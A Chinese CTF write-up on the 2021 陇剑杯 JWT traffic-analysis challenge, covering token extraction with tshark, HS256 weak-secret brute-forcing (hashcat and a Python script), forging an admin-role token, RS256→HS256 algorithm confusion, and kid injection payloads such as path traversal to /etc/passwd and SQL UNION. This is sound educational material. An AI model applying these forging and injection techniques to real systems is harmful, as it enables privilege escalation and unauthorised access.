ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

从流量包到JWT伪造:陇剑杯2021真题实战全解析

从流量包到JWT伪造:陇剑杯2021真题实战全解析 陇剑杯2021的jwt这道流量分析题是我刷过的CTF题目里非常典型的JWT考点样本。题目给的是一个模拟前后端分离项目的流量包登录接口会签发JWT令牌后端再根据令牌里的身份字段返回不同数据问2的核心就是让你把这整条token链路的解析和伪造流程走明白。对刚接触Web安全的同学来说这题比很多纯理论文章有价值——因为它逼着你在真实流量里提取、还原、验证一个JWT再从漏洞点把它攻破。这篇文章我会按自己的实操顺序把从pcap里提取token、还原签名密钥、构造恶意令牌到获取最终结果的全过程完整过一遍适合准备CTF比赛或者工作中要排查JWT问题的同学参考。1. 题目核心与JWT知识点速览1.1 这道题到底在考什么先说结论陇剑杯2021的jwt题表面是个流量分析题实际上考的是“你是否真的理解JWT的签发、解析、验证全过程”。它不会直接让你读代码而是给你一个抓好的流量包让你自己从HTTP请求里找到token再通过token的内容与签名特征反推出系统的认证逻辑。具体到问2常见考法是流量包里已经有一个普通用户的登录记录你需要分析这个用户token的payload字段找到身份相关的键值对然后判断后台是否对签名做了严格校验。如果校验不严或者密钥可爆破你就可以把payload里的角色字段改成管理员重新签名后重放请求拿到正常情况下看不到的数据。我在复盘时最大的感受是这题的知识点密度并不高但考察链路非常完整。它把“JWT三段式结构”“Base64Url编码”“弱密钥爆破”“签名伪造”全串在了一条真实流量链路上。你如果只是背过概念不亲手在流量包里提取一次很容易在某个环节卡住。1.2 JWT三段式结构拆解JWT全称是JSON Web Token简单说就是服务端把用户信息打包成一个自包含的字符串签上名发给客户端。它长这样eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE2MjAwMDAwMDB9.9nH0Z7sJfY2vVfQZl3fF0qYwY4VjYmVWbC4tKpPxYQk这个字符串被两个点号分成三段也就是Header、Payload、Signature三部分。Header里存的是算法类型和令牌类型比如{alg:HS256,typ:JWT}。Payload里存的是业务数据常见的有用户名、角色、过期时间、用户ID等。Signature则是根据Header和Payload加上密钥算出来的签名用来保证内容没有被篡改。这里有个关键点Header和Payload只是做了Base64Url编码并没有加密。任何人拿到token后解码就能看到全部内容。如果你在Payload里看到role:user、is_admin:0这类字段那就等于告诉你这个系统用JWT来传权限信息而且权限判断依据全都暴露给了客户端。编码规则上要注意JWT用的不是普通Base64而是Base64Url。普通Base64里的会被换成-/会被换成_末尾的会被去掉。很多新手第一次解析token失败就是因为忘了末尾可能没有填充等号或者把-、_当成非法字符处理了。1.3 常见JWT漏洞与本题的关联我见过的JWT题目漏洞点基本逃不出下面这几类弱密钥爆破签名密钥是secret、123456这类弱口令拿到token后直接用字典跑签名。算法混淆攻击原本用RS256非对称算法服务端只校验了算法名没校验算法类型可以把alg改成HS256用公钥当密钥来签名。kid参数注入Header里如果带了kidKey ID服务端会根据这个键名去取密钥。如果处理不当可以把它改成SQL注入语句、文件路径甚至命令执行。none算法把alg改成none签名置空。这个在老版本库里有现代库基本已经堵死了。以这道题为例我在自己分析的pcap包中看到的是HS256对称签名的token密码不是强口令所以走的是“弱密钥爆破 payload伪造”路线。但这不代表其他版本不会考另外几种后面我会专门把算法混淆和kid注入也展开讲因为这两个坑在真实渗透测试里出现的频率比题目还高。2. 环境准备与流量分析思路2.1 需要的工具清单先把工具备好做题时才不会手忙脚乱。我个人用的组合是工具用途备注Wireshark打开pcap流量包、过滤HTTP请求也可以用tshark命令行CyberChef快速解码Base64Url、整理token结构浏览器在线即可Python PyJWT解析、验证、伪造JWTpip install pyjwthashcat爆破HS系列弱密钥模式4200是HMAC-SHA256jwt_tool自动化测试常见JWT漏洞可选省时间其中Wireshark和PyJWT是核心。流量包里那么多包你要先定位到HTTP层再看Authorization头或者POST请求体里的登录参数。用CyberChef解析一次token结构心里就有底了。提示如果比赛环境不能联网提前把hashcat的字典和python脚本准备好或者直接用纯python脚本爆破。后面我会给一个不依赖额外工具的脚本。2.2 从pcap中定位JWT相关流量拿到pcap后不要急着一个个包翻先过滤。我一般是这么干的tshark -r jwt.pcap -Y http -T fields -e http.request.uri -e http.request.method先看有哪些HTTP请求再重点找/login、/api、/auth这类路径。登录接口一定在请求体里带用户名密码响应里大概率直接返回token。如果响应是JSON格式可以用http.response过滤再右键“追踪HTTP流”把所有内容展开。还有一个更快的办法JWT token都是eyJ开头Base64Url编码后的JSON固定前缀直接在Wireshark的显示过滤器里搜http contains eyJ能瞬间命中所有带token的包。这一步在实战排查token泄露时同样好用。我尤其建议把“追踪TCP流”用好。HTTP流可能因为分块传输或者长连接被拆成多个包直接看单包可能会漏掉完整token。追踪流后你能看到完整的请求-响应序列包括登录、查询列表、获取详情这几步配合时间戳能清楚还原整个操作链路。2.3 分析登录逻辑与身份字段把流量捋顺后通常会发现这样的链路客户端POST/api/login提交usernamexxxpasswordxxx。服务端验证成功后返回一个JWT token。客户端后续访问/api/users、/api/flag等接口时在请求头里加Authorization: Bearer token。服务端解析token取payload里的权限字段决定返回什么数据。到这里整道题的目标就清晰了你要在流量里找到那个被允许访问敏感接口的“高级权限token”或者自己伪造一个。我问2花时间最多的不是爆破而是分析payload字段名——有些系统把角色字段叫role有些叫is_admin有些是privilege甚至可能是group_id。字段名不对伪造出来也没用。所以做题不要急着爆破先把登录响应里的token解码把payload字段全部列出来再找API请求里的用户标识做对照。比如普通用户token里name:guest而某个敏感接口返回了另一个用户的完整信息那字段差异就是权限判断逻辑的突破口。3. 核心解题伪造JWT令牌的完整流程3.1 提取并解析目标token从流量里提取到完整token后第一步永远是解结构。我自己习惯直接用python脚本一次搞定import jwt token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciIsImV4cCI6MTYyMDAwMDAwMH0.signature_here header jwt.get_unverified_header(token) payload jwt.decode(token, options{verify_signature: False}) print(Header:, header) print(Payload:, payload)这段代码里我用options{verify_signature: False}跳过签名校验只为了看内容。输出里能看到Header: {alg: HS256, typ: JWT} Payload: {user: guest, role: user, exp: 1620000000}到这里就基本锁定下一步方向了。这个payload结构告诉你两件事系统靠role字段区分权限签名用的是HS256对称算法。HS256意味着签名密钥只有一把既能签又能验只要把密钥找到伪造token就是顺手的事。还有一个细节值得记录看exp的数值是否已过期。如果token已经过期就算你有密钥也要记得把exp改成当前时间之后的时间戳再重放。我用过这样一个简单办法——拿Python的int(time.time()) 3600生成新的过期时间避免在时间上翻车。3.2 定位签名密钥与算法选择HS256的坑就在于密钥强度。你要做的就是用字典爆破签名字段。原理很简单拿字典里的每个词拼接header.payload用HMAC-SHA256算签名和原token最后的signature段对比一致就说明密钥找到了。用hashcat爆破的命令是hashcat -m 16500 jwt.txt rockyou.txt其中jwt.txt里存完整token16500是JWT HS256模式。不过CTF环境里网络受限时我更推荐用python脚本自己跑完全离线import hmac import hashlib import base64 token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciIsImV4cCI6MTYyMDAwMDAwMH0.signature_here header_payload, _, signature token.rpartition(.) with open(passwords.txt, r, encodinglatin-1) as f: for secret in f: secret secret.strip() calc hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest() calc_b64 base64.urlsafe_b64encode(calc).rstrip().decode() if calc_b64 signature: print(Found secret:, secret) break我爆破的字典首选就是CTF常见弱口令secret、admin、123456、jwt、password、key。如果题库里已经出现rockyou.txt级别的字典还拼不出来那就得思考是不是密钥藏在流量里的图片、源码注释或者响应头中而不是硬爆破。这一点挺重要——CTF出题人设计的是“可解的题”如果弱口令跑不出来大概率信息在包里你要回去翻流量。3.3 构造恶意token的关键细节密钥拿到后伪造就简单了但不能掉以轻心。先看需求假设普通用户的payload是{user:guest,role:user,exp:...}你要把role改成admin顺便看看系统里有没有userid这种数字ID一起改了避免露馅。用PyJWT生成恶意tokenimport jwt import time secret your_secret_here payload { user: admin, role: admin, exp: int(time.time()) 3600 } malicious jwt.encode(payload, secret, algorithmHS256) print(malicious)生成后注意检查token里有没有填充符。PyJWT会自动用Base64Url编码并去掉填充但如果你手动拼签名记得用base64.urlsafe_b64encode而不是普通base64.b64encode否则带、/、的token发出去服务端解析时会报错。还有个细节很容易翻车原流量里的API请求可能不止Authorization头带token还会在Cookie、请求体、自定义头里传同一个token。重放时要把所有出现token的位置全部替换不能只改Authorization头。我在题里就遇到过一次服务端从Cookie里取token我改了Header却被忽略排查了半天才发现Cookie里还有一份。3.4 验证token有效性并获取flag伪造好token后怎么验证有没有成功我的习惯是用Python的requests库直接回放到流量里看到的敏感接口。import requests url http://127.0.0.1/api/flag headers {Authorization: Bearer malicious} resp requests.get(url, headersheaders) print(resp.status_code) print(resp.text)如果返回200并且响应体里出现了你想要的flag或敏感数据说明伪造成功。如果返回401或403按顺序排查三件事token里exp是否过期——重新生成一次。签名算法对不对——确认密钥和算法匹配。权限字段名对不对——回头核对流量里真实token的payload。对于问2这种子题验证通过并不是终点你要把关键信息记下来token内容、密钥、伪造后的完整token。这些信息后面问3或问4很可能还要用我在比赛里吃过亏拿到了结果就随手关掉终端后面再要token又得重新构造一遍白白浪费了时间。4. 常见问题与排查技巧实录4.1 工具报错与格式问题JWT相关的报错几乎都出在“格式”上。我整理张表方便自查现象原因解决办法解析token时报Invalid paddingBase64Url末尾的被忽略用base64.urlsafe_b64decode会自动处理或手动补签名验证不通过密钥末尾有换行符、空格爆破时对字典每行strip()确认无隐藏字符token粘贴到工具里少了字符终端换行导致token被截断用文件传递token或复制到编辑器再清理重放后返回401exp过期生成token时重新计算当前时间戳还有一个看似不起眼但很烦的点流量包里的token可能被URL编码过比如%2e、%3d这种。直接复制下来解析会失败要先做URL解码。Wireshark追踪流里看到的如果是Authorization: Bearer eyJ...那一般没问题但如果是放在GET参数里的token务必先用URL解码再提取。4.2 签名算法混淆与公钥利用前面说过如果token头是RS256情况就不一样了。RS256是用私钥签名、公钥验签你拿不到私钥就没法伪造。但有些服务端实现偷懒用一个通用函数处理验签没区分算法类型于是出现了经典的“算法混淆”攻击把Header里的alg从RS256改成HS256然后用公钥内容作为HS256的密钥去签名。服务端一看alg是HS256就按对称密钥方式把公钥串当密钥去验验签直接通过。打这个攻击的关键是先拿到公钥。在CTF流量题里公钥可能出现在登录接口返回的jwks字段里某个/public.pem静态文件请求里token头部的jku、x5u字段指向的地址拿到公钥后用python伪造import jwt with open(public.pem, r) as f: public_key f.read() payload {user: admin, role: admin, exp: int(time.time()) 3600} token jwt.encode(payload, public_key, algorithmHS256)攻击能否成功取决于服务端是否校验了alg类型。现在主流库都加了防护但CTF里为了考这个点通常环境下是能打通的。判断方法很简单把原始token的alg改成HS256用公钥签名后发过去看响应是不是200。如果是继续改payload如果还是401就放弃这条路回头找其他漏洞。4.3 kid参数注入的扩展思路另外值得留意的扩展点是kid参数。它出现在Header里作用是告诉服务端“用哪把密钥来验签”比如{alg:HS256,kid:key1}。服务端可能把kid直接拼进文件路径读取密钥文件或者拼进SQL语句查询密钥。如果流量包里token的Header带了kid可以尝试这些payload文件读取把kid改成../../etc/passwd或/proc/self/environ如果服务器把文件内容当密钥签名失败时会回显密钥信息。SQL注入把kid改成key1 union select xxx --让查询结果可控伪造token签名。命令执行极少数情况下kid会被作为命令参数拼接可以尝试注入。CTF题目直接考kid注入的不多但真实渗透和SRC挖掘里这个点出现频率极高。我建议刷题时遇到带kid的token都手动试一下把经验沉淀下来比临时查资料有效果得多。5. 一点实操体会我自己刷这类JWT题最大的体会是不要一上来就爆破。先花五分钟把流量里的token链路捋清楚确认算法、密钥存放方式、payload字段名再决定是爆破还是走算法混淆效率会高很多。爆破是最容易想到的但往往是最后一步才该做的事——因为直接爆破有可能浪费时间而分析能帮你直接定位到密钥来源。最后分享一个小技巧调试JWT时我习惯写一个简单的shell函数把payload和secret当参数传进去一键生成新token省得每次重复敲python代码。比赛时间紧张这种小工具能帮你把精力集中在真正的漏洞分析上而不是浪费在重复劳动里。JWT的考点看起来花样多底层其实就那几件事看清三段结构、找到密钥或漏洞点、把身份字段改了再签一次名。希望这篇复盘能帮你在下一次遇到JWT流量题时少走几步弯路。
返回列表